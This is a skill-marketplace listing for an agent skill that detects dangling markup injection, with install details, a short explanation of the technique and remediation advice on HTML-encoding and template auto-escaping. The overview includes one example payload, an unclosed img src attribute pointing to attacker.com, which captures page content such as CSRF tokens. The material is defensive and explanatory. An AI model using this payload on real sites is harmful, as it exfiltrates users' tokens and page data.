# Dangling Markup Injection

> Detects HTML injection that, even without script execution, can exfiltrate page content via dangling attributes and tags.

- Skill: `zakirkun/dangling-markup-injection` (Agent Skill, multi-file: 2 files)
- Install (CLI): `npx skillmds@latest add zakirkun/dangling-markup-injection`
- Raw SKILL.md: https://api.skillmd.com/api/skills/zakirkun/dangling-markup-injection/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Web & Frontend
- Author: zakirkun (https://skillmd.com/u/zakirkun)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/zakirkun/dangling-markup-injection

---


# Dangling Markup Injection

## Overview
Dangling markup injection occurs when an attacker can inject partial HTML that does not need to execute scripts to exfiltrate data. For example, injecting `<img src="https://attacker.com/?` leaves an unclosed attribute that captures all subsequent HTML (including CSRF tokens) until the next quote character.

This bypasses CSP policies that block inline scripts.

## Remediation
- HTML-encode all user-provided content before inserting into HTML
- Use template auto-escaping (`{{ value }}` in Jinja2/Django)
- Avoid inserting user data into HTML attribute values without encoding

